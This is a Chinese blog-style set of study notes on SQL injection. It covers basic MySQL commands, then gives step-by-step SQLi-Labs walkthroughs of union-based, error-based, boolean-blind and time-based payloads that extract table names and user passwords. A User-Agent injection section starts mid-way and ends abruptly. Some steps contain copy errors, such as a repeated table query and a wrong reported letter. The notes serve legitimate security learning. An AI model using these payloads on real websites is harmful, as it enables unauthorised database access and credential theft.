【笔记】从0开始的sql注入漏洞学习(持续更新)

【笔记】从0开始的sql注入漏洞学习

SQL数据库操作基础

第一部分:MYSQL(MariaDB)基础操作

1.连接数据库:

mysql -u root -p

-u 输入登录用户名

-p 输入密码(这个没有密码)

image-20240719163245111

2.显示系统中所有数据库的名称

show databases;

image-20240719163608084

3.新建数据库student

create database student;

使用以下命令查看结果:

show databases;

image-20240719163750741

4.使用数据库student

use student;

5.在数据库student中创建表result

create table result(id int(8),name varchar(20),city varchar(20),score int(5));
id name city score

6.在表result中增加数据

insert into result(id,name,city,score) values(1,"wang","beijing",75);

insert into result(id,name,city,score) values(3,"li","shanghai",80);

insert into result(id,name,city,score) values(5,"chen","fuzhou",70);

insert into result(id,name,city,score) values(2,"zhou","xian",90);

insert into result(id,name,city,score) values(7,"han","guangzhou",65);

使用以下命令查看结果:

select * from result;

image-20240719164920156

7.在表result中删除1条数据

使用以下命令删除id=7的数据

delete from result where id=7;

使用以下命令查看结果

select * from result;

image-20240719165111274

8.修改表result中的1条数据

使用以下命令可以修改id=5的数据,将其score设置为60:

update result set score=60 where id=5;

使用以下命令查看结果

select * from result;

image-20240719165312551

9.查询表result中的数据

select * from result;
//查询表中所有字段
select name,score from result;
//查询表中的name和score字段
select score from result where name="li";
//查询name为li的学生的分数

第二部分:MySQL(MariaDB)进阶操作

1.order by的用法

(1)将result表中的数据按照分数(score)从高到低进行排序:

select * from result order by score desc;

其中,desc表示降序(递减);如果从低到高(升序)进行排列,则可以将desc换成asc;如果不加此参数,默认情况下按升序方式排列。

image.png

(2)分别尝试以下命令:

select id,name,score from result order by 1;

image.png

正常显示以id升序排列的结果。

select id,name,score from result order by 2;

image.png

正常显示以name升序排列的结果!

select id,name,score from result order by 3;

image.png

正常显示以score升序排列的结果!

select id,name,score from result order by 4;

image.png

报错!

从以上结果可以总结出,对于以下命令:

select c1,c2,...,cn from result order by M;

order by后面的数字(M)必须小于或等于n(数据库查询的字段数),才能正常显示。如果M>n,数据库就会报错。可以利用这个特点判断数据库查询的字段数。

2.limit的用法

基本格式为:

limit M,N
//表示从第M+1条数据开始,顺序往下查询N条数据

limit M
//表示查询前M条数据

尝试执行以下两条命令:

select * from result limit 0,2;
//查询表中的前2条数据

image.png

select id,name,score from result limit 1,3;
//从第2条数据起,往下查询3条数据的id、name和score字段

image.png

3.union select的用法

select * from result union select 1,2,3,4;

此语句的查询结果,即是select * from result和select 1,2,3,4查询结果的拼接,名为联合查询。

image.png

(2)尝试执行以下3条语句:

select id,name,score from result union select 1,2,3;

image.png

正常显示!

select id,name,score from result union select 1,2;

image.png

列数不一致,于是报错!

select id,name,score from result union select 1,2,3,4;

image.png

列数不一致,报错!

从以上结果可以总结,对于以下命令:

select c1,c2,...,cn from result union select d1,d2,...dm;

后半句union select查询的字段数(m)必须与前半句select查询的字段数(n)相等,数据库才能正常显示结果。与order by相似,可以利用这个特点判断数据库查询的字段数。

(3)尝试执行下列语句

select id,city from result where id=1 and 1=2 union select name,score from result;

image.png

从以上结果可以总结,在已知字段名的情况下,攻击者只要将该字段置于任何能够显示的位置,就可以暴露该字段的值。

4.union select结合information_schema数据库

MySQL(MariaDB)5.5以上版本自带information_schema数据库,其中保存着关于MySQL服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等。可以把information_schema数据库看作MySQL(MariaDB)的“目录”!

(1)尝试执行以下两条语句:

show databases;

select schema_name from information_schema.schemata;  

image.png

两条语句执行结果相同,说明information_schema数据库保存着关于MySQL服务器所维护的数据库名的信息。

(2)尝试执行以下两组语句:

第一组:

use student;

show tables;

第二组:

select table_name from information_schema.tables where table_schema='student';

image.png

两组命令执行结果相同,说明information_schema数据库保存着关于MySQL服务器所维护的数据库的表的信息!

基于联合查询的数字型GET注入

1.访问SQLi-Labs网站

搭建好靶场后(或者使用在线靶场)我们进入sqli-labs:

image-20240719190137364

进入less-2

image-20240719190228731

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:

image-20240719190335362

2.寻找注入点

http://[靶机IP]/sqli-labs/Less-2/?id=1'

运行后报错,说明我们可以利用参数“id”作为我们的注入点,接下来我们将测试注入类型:

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=1

运行后正常显示

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2

运行后没有正常显示,说明注入点是数字型注入点

3.判断网站查询的字段数

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 1--+

正常显示

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 2--+

正常显示

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 3--+

正常显示

http://[靶机IP]/sqli-labs/Less-2/?id=1 order by 4--+

报错,因此可以判断网站查询的字段数为3

4.判断网站的回显位置

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3--+

发现2,3的位置可以回显:

image-20240719191446086

后面的步骤中,我们可以在2号位或3号位设置一些具有特殊功能的函数或命令来执行SQL注入!

5.获取网站当前所在数据库的库名

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,database()--+

image-20240719191657593

可以发现网站当前所在数据库的库名为“security”

6.获取数据库security的全部表名

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

group_concat 将所有的查询结果拼接成一个字符串返回,不过在不同的字段值之间默认用逗号隔开

image-20240719191907777

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

7.获取users表的全部字段名

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

image-20240719192236223

可以发现数据表users内含有的字段有“id”“username”“password”

8.获取users表id、username和password字段的全部值。

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

concat_ws 返回结果为连接参数产生的字符串并且有分隔符

image-20240719192838593

http://[靶机IP]/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

image-20240719192935163

更改limit函数后的参数就可以依次查看users表id、username和password字段的全部值

基于联合查询的字符型GET注入

1.访问SQLi-Labs网站

进入less-1

image-20240719193637050

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示id=1的用户名Dump、密码Dump:

image-20240719193658390

2.寻找注入点

http://[靶机IP]/sqli-labs/Less-1/?id=1'

运行后报错,说明我们可以利用参数“id”作为我们的注入点,接下来我们将测试注入类型:

http://[靶机IP]/sqli-labs/Less-1/?id=1 and 1=1

运行后正常显示

http://[靶机IP]/sqli-labs/Less-1/?id=1 and 1=2

运行后正常显示,说明注入点不是数字型注入点


http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='1

运行后正常显示

http://[靶机IP]/sqli-labs/Less-1/?id=1' and '1'='2

运行后没有正常显示,说明注入点是字符型注入点

3.判断网站查询的字段数

http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 1--+

正常显示

http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 2--+

正常显示

http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 3--+

正常显示

http://[靶机IP]/sqli-labs/Less-1/?id=1' order by 4--+

报错,因此可以判断网站查询的字段数为3

4.判断网站的回显位置

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,3--+

发现2,3的位置可以回显:

image-20240719194246972

5.获取网站当前所在数据库的库名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,database()--+

image-20240719194525209

可以发现网站当前所在数据库的库名为“security”

6.获取数据库security的全部表名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

image-20240719194716156

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

7.获取users表的全部字段名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

image-20240719194832033

可以发现数据表users内含有的字段有“id”“username”“password”

8.获取users表id、username和password字段的全部值。

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+

image-20240719195023282

http://[靶机IP]/sqli-labs/Less-1/?id=1' and 1=2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 1,1--+

image-20240719195046089

更改limit函数后的参数就可以依次查看users表id、username和password字段

基于联合查询的POST注入

1.访问SQLi-Labs网站

进入less-11

image-20240719200016254

2.利用Burpsuite工具抓包

不会的可以跳转:https://www.cnblogs.com/handsomexuejian/p/18303881#_label3_0_3_2

我们随便输个账号密码,将发送的数据包拦截:

image-20240719200404193

将数据包发送到Repeater模块,方便我们能够修改数据包并重复发送:

3.寻找注入点

uname=admin'&passwd=admin&submit=Submit

image-20240719201004189

运行后报错

uname=admin'#&passwd=admin&submit=Submit

image-20240719201047261

运行后正常显示,说明我们可以利用参数“uname”作为我们的注入点

uname输入内容为字符串,因此注入点类型为字符型注入点

4.判断网站查询的字段数

uname=admin' order by 1#&passwd=admin&submit=Submit

正常显示

uname=admin' order by 2#&passwd=admin&submit=Submit

正常显示

uname=admin' order by 3#&passwd=admin&submit=Submit

报错,因此可以判断网站查询的字段数为2

5.判断网站的回显位置

uname=admin' and 1=2 union select 1,2#&passwd=admin&submit=Submit

发现1,2的位置可以回显:

image-20240719201634248

6.获取网站当前所在数据库的库名

uname=admin' and 1=2 union select 1,database()#&passwd=admin&submit=Submit

image-20240719202116877

可以发现网站当前所在数据库的库名为“security”

7.获取数据库security的全部表名

uname=admin' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=admin&submit=Submit

image-20240719202034554

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

8.获取users表的全部字段名

uname=admin' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=admin&submit=Submit

image-20240719202328535

可以发现数据表users内含有的字段有“id”“username”“password”

9.获取users表id、username和password字段的全部值。

uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 0,1#&passwd=admin&submit=Submit

image-20240719202611611

uname=admin' and 1=2 union select 1,concat_ws(',',id,username,password) from security.users limit 1,1#&passwd=admin&submit=Submit

image-20240719202715763

更改limit函数后的参数就可以依次查看users表id、username和password字段

基于报错的注入1

(1)关于报错注入

基于报错的注入,是指通过构造特定的SQL语句,让攻击者想要查询的信息(如数据库名、版本号、用户名等)通过页面的错误提示回显出来。
报错注入一般需要具备两个前提条件:(1)Web应用程序未关闭数据库报错函数,对于一些SQL语句的错误直接回显在页面上;(2)后台未对一些具有报错功能的函数进行过滤。
常用的报错功能函数包括extractvalue()、updatexml()、floor()、exp()等。

(2)关于extractvalue()函数

作用:对XML文档进行查询,相当于在HTML文件中用标签查找元素。
语法:extractvalue(XML_document, XPath_string)
参数1:XML_document是String格式,为XML文档对象的名称;
参数2:XPath_string(Xpath格式的字符串),注入时可操作的地方。
报错原理:xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果写入其他格式就会报错,并且会返回写入的非法格式内容,错误信息如:XPATH syntax error:'xxxxxxxx’。

1.访问SQLi-Labs网站

进入less-1

image-20240719203729416

由前文可知我们可以利用参数“id”作为我们的注入点,并且注入点是字符型注入点

2.获取网站当前所在数据库的库名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+

extractvalue('目标xml文件名','xml路径')

1 虚构的一个目标xml文件名,由于该文件名不存在因此必会报错

concat('~',database()) 连接'~'与'database()'

​ ~ 使sql语句变成非法语句,保证能够完整回显注入语句的具体结果,以及对回显结果进行标记

​ database() 使报错的回显路径改成'database()'的内容

image-20240719205110782

可以发现网站当前所在数据库的库名为“security”

3.获取数据库security的全部表名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

image-20240719205356226

可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

4.获取users表的全部字段名

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+

image-20240719205550098

可以发现数据表users内含有的字段有“id”“username”“password”

5.获取users表id、username和password字段的全部值

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+

image-20240719205836707

http://[靶机IP]/sqli-labs/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+

image-20240719205920007

更改limit函数后的参数就可以依次查看users表id、username和password字段

基于报错的注入2

关于floor()函数

在进行报错注入时,floor()函数一般需要与rand()、count()、group by联用。
作用:
floor(x):对参数x向下取整;
rand():生成一个0~1之间的随机浮点数;
count(*):统计某个表下总共有多少条记录;
group by x:按照(by)一定的规则(x)进行分组;
报错原理:floor()函数与group by、rand()联用时,如果临时表中没有该主键,则在插入前会再计算一次rand(),然后再由group by将计算出来的主键直接插入到临时表格中,导致主键重复报错,错误信息如:Duplicate entry ‘…’ for key 'group_key’。

1.访问SQLi-Labs网站

进入less-1

image-20240720143209878

由前文可知我们可以利用参数“id”作为我们的注入点,并且注入点是字符型注入点

2.获取网站当前所在数据库的库名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

select 1 用作占位符,确保子查询能够执行并返回一个结果

cont(*) 技术表中的所有行数

concat() 将当前数据库名和一个随机数(0或1)连接在一起

​ floor() 将内容向下取整

​ rand(0) 生成一个0到1之间的随机数

​ rand(0)*2 生成的随机数会是0到2之间的浮点数

x 这是给计算结果concat(database(), floor(rand(0)*2))起的别名,方便后续引用

group by x 按照生成的字符串x进行分组

  • 由于rand()生成的随机数在每次执行时都不同,导致group by x中的x值会有重复。
  • group by x 遇到重复值时,MySQL 会报 ERROR 1062 (23000): Duplicate entry 错误。
  • 错误信息中会包含连接的字符串,从而泄露数据库名。

a 用来给整个子查询结果集命名

image-20240720143754243

可以发现网站当前所在数据库的库名为“security”(“1”是floor(rand(0)*2)的结果,我们忽略掉)

3.获取数据库security的全部表名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

注意:没有limit函数限制输出的话页面不会回显

image-20240720144239340

image-20240720144258946

更改limit函数后的参数,可以依次发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

4.获取users表的全部字段名

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

image-20240720144706329

更改limit函数后的参数,可以依次发现数据表users内含有的字段有“id”“username”“password”

5.获取users表id、username和password字段的全部值

http://[靶机IP]/sqli-labs/Less-1/?id=-1' and (select 1 from (select count(*),concat((select concat_ws(',',id,username,password) from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

image-20240720144936690

更改limit函数后的参数就可以依次查看users表id、username和password字段

基于布尔的盲注

(1)关于布尔盲注

某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。

1.访问SQLi-Labs网站

进入less-8

image-20240720174000579

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示“You are in...”,告诉我们输入的东西是正确的

image-20240720174028885

2.寻找注入点

http://[靶机IP]/sqli-labs/Less-8/?id=1'

运行后没有回显,告诉我们输入的东西是错误的。说明我们可以利用参数“id”作为我们的注入点,接下来我们将测试注入类型:

http://[靶机IP]/sqli-labs/Less-8/?id=1 and 1=1

运行后正常显示“You are in...”

http://[靶机IP]/sqli-labs/Less-8/?id=1 and 1=2

运行后正常显示“You are in...”,说明注入点不是数字型注入点

http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='1

运行后正常显示

http://[靶机IP]/sqli-labs/Less-8/?id=1' and '1'='2

运行后没有正常显示,说明注入点是字符型注入点

可以继续给定不同的id参数进行尝试,发现页面的显示结果只有两种:“You are in...”(True)或没有回显(False)。只有两种状态,由此可以判断这是一种典型的布尔盲注场景!

3.盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句length(database())=M,不断变化M的值去猜测,如果M不等于N,页面应该显示为False;如果M等于N,页面应该显示为True。

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=7--+

显示结果为False,说明网站当前所在数据库的库名长度不是7个字符

http://[靶机IP]/sqli-labs/Less-8/?id=1' and length(database())=8--+

显示结果为True,说明网站当前所在数据库的库名长度为8个字符

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 substr(库名字符串,1,1)=‘a’ 以及 ascii(substr(库名字符串,1,1))=97 返回的结果均应为True(小写字母a的ASCII码为97);

假设库名字符串的第2个字母为b,那么条件判断语句 substr(库名字符串,2,1))=‘b’ 以及 ascii(substr(库名字符串,2,1))=98 返回的结果均应为True(小写字母b的ASCII码为98);

以此类推。

猜测库名的第1个字母:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr(database(),1,1)='s'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr(database(),1,1))=115--+

image-20240720174919153

显示结果为True,说明网站当前所在数据库的第一个字母为“s”

更改substr()函数中的参数,即可以此类推得到网站当前所在数据库的库名为“security”

5.盲猜数据库security的全部表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101--+

image-20240720175424832

显示结果为True,“security”数据库的第一张表名的第一个字母为“e”

更改substr()函数中的参数,即可以此类推发现数据库security内含有的第一张表名有“emails”

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114--+

image-20240720175702630

显示结果为True,“security”数据库的第二张表名的第一个字母为“r”

更改substr()函数中的参数,即可以此类推发现数据库security内含有的第二张表名有“referers”

以此类推,最后可以发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.盲猜users表的全部字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105--+

image-20240720180011140

显示结果为True,“users”数据表的第一个字段名的第一个字母为“r”

更改substr()函数中的参数,即可以此类推发现“users”数据表的第一个字段名为“id”

以此类推,最后可以发现数据表users内含有的字段有“id”“username”“password”

7.盲猜users表username和password字段的全部值

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-8/?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D'--+
或
http://[靶机IP]/sqli-labs/Less-8/?id=1' and ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68--+

image-20240720180524960

显示结果为True,“usersname,password”字段的第一个数据的第一个字母为“D”(注意:这里我们没有连接查询id的值了)

更改substr()函数中的参数,即可以此类推发现“usersname,password”字段的第一个数据名为“Dump,Dump”

注意:字符串中的逗号(,)也是需要进行猜测比对的!

以此类推,最后可以发现users表username和password的所有字段

基于时间的盲注

(1)关于时间(延时)盲注

某些场合下,页面只有一种返回结果,使用具有延时功能的函数sleep()、benchmark()等,通过判断这些函数是否正常执行来获取数据库中的数据。

(2)一些功能函数的说明

length(str):返回字符串(str)的长度,以字节为单位。
substr(str,pos,len):从指定的位置(pos)开始,截取并返回字符串(str)指定长度(len)的子串。
ascii(str):返回字符串(str)最左边字符的ASCII码。
if(expr1,expr2,expr3):条件判断函数,expr1为true则返回expr2,expr1为false则返回expr3。
sleep(N):让语句延迟执行一段时间(N秒),执行成功后返回0。
benchmark(count,expr):让expr执行count次,执行成功后返回0。

1.访问SQLi-Labs网站

进入less-9

image-20240720181713829

根据提示,我们使用GET请求上传参数“id”,当id=1时,页面显示“You are in...”,告诉我们输入的东西是正确的

image-20240720181737418

2.寻找注入点

http://[靶机IP]/sqli-labs/Less-9/?id=1'

运行后正常显示“You are in...”,可以继续给定不同的id参数进行尝试,发现页面的显示结果只有一种:You are in…。由此可以判断,这是一种典型的时间(延时)盲注场景

http://[靶机IP]/sqli-labs/Less-9/?id=1 and sleep(5)--+

sleep(5)未执行,页面无明显延迟

http://[靶机IP]/sqli-labs/Less-9/?id=1' and sleep(5)--+

sleep(5)成功执行,页面有明显延迟。说明注入点是字符型注入点

3.盲猜网站当前所在数据库的库名长度

假设当前所在数据库的库名长度为N,尝试使用判断语句if((length(database())=M),sleep(5),1),不断变化M的值去猜测,如果M等于N,此时sleep(5)会成功执行,页面应该会有明显延迟。

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())=7,sleep(5),1)--+

页面无明显延迟,说明网站当前所在数据库的库名长度不是7个字符

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(length(database())=8,sleep(5),1)--+

页面有明显延迟,说明网站当前所在数据库的库名长度为8个字符

4.盲猜网站当前所在数据库的库名字符串

本步骤通过逐个字母盲猜的方式进行。

假设库名字符串的第1个字母为a,那么条件判断语句 if(substr(库名字符串,1,1)=‘a’,sleep(5),1) 以及 if(ascii(substr(库名字符串,1,1))=97,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

假设库名字符串的第2个字母为b,那么条件判断语句 if(substr(库名字符串,2,1)=‘b’,sleep(5),1) 以及 if(ascii(substr(库名字符串,2,1))=98,sleep(5),1) 中,sleep(5)能成功执行,页面应该会有明显延迟;

以此类推。

猜测库名的第1个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),1,1)='s',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1)--+

页面有明显延迟,证明库名的第1个字母为s,猜测正确。

m.png

猜测库名的第2个字母:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr(database(),2,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明库名的第2个字母为e,猜测正确。

l.png

以此类推,最终得到的字符串结果为security。

5.盲猜数据库security的全部表名

(1)猜测第1张表的表名

猜测第1张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第1个字符为e,猜测正确。

k.png

猜测第1张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1))=109,sleep(5),1)--+

页面有明显延迟,证明第1张表的表名的第2个字符为m,猜测正确。

j.png

以此类推,得到security库中的第1张表的名字为emails。

(2)猜测第2张表的表名

猜测第2张表的表名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第1个字符为r,猜测正确。

i.png

猜测第2张表的表名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1))=101,sleep(5),1)--+

页面有明显延迟,证明第2张表的表名的第2个字符为e,猜测正确。

h.png

以此类推,得到security库中的第2张表的名字为referers。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到security库中所有表的表名:emails、referers、uagents和users。其中,第4张表users当中可能存放着网站用户的基本信息。

6.盲猜users表的全部字段名

(1)猜测第1个字段名

猜测第1个字段名的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))=105,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第1个字符为i,猜测正确。

g.png

猜测第1个字段名的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1)='d',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2,1))=100,sleep(5),1)--+

页面有明显延迟,证明第1个字段名的第2个字符为d,猜测正确。

f.png

以此类推,得到users表中的第1个字段名为id。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中所有字段名:id、username和password。

7.盲猜users表username和password字段的全部值

(1)猜测第1组数据

猜测第1组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='D',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1))=68,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第1个字符为D,猜测正确。

e.png

猜测第1组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1)='u',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),2,1))=117,sleep(5),1)--+

页面有明显延迟,证明第1组数据的第2个字符为u,猜测正确。

d.png

以此类推,得到第1组数据为“Dump,Dump”。

注意:字符串中的逗号(,)也是需要进行猜测比对的!例如第1组数据的第5个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1)=',',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 0,1),5,1))=44,sleep(5),1)--+

c.png

(2)猜测第2组数据

猜测第2组数据的第1个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1)='A',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),1,1))=65,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第1个字符为A,猜测正确。

b.png

猜测第2组数据的第2个字符:

http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1)='n',sleep(5),1)--+
或
http://[靶机IP]/sqli-labs/Less-9/?id=1' and if(ascii(substr((select concat_ws(',',username,password) from security.users limit 1,1),2,1))=110,sleep(5),1)--+

页面有明显延迟,证明第2组数据的第2个字符为n,猜测正确。

a.png

以此类推,得到第2组数据为“Angelina,I-kill-you”。

依据上述方法,通过不断变换limit和substr()函数中的参数,可以最终得到users表中username和password字段的全部值。

4.获取网站当前所在数据库的库名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',database())),'','')#

image-20240720191041560

可以发现网站当前所在数据库的库名为“security”

5.获取数据库security的全部表名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1))),'','')#

image-20240720191247996

更改limit函数后的参数,可以依次发现数据库security内含有的表名有“emails”“referers”“uagents”“users”

6.获取users表的全部字段名

User-Agent:Mozilla/5.0......Firefox/46.0' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))),'','')#

image-20240720191739256

更改limit函数后的参数,可以依次发现数据表users内含有的字段有“id”“username”“password”

7.获取users表id、username和password字段的全部值

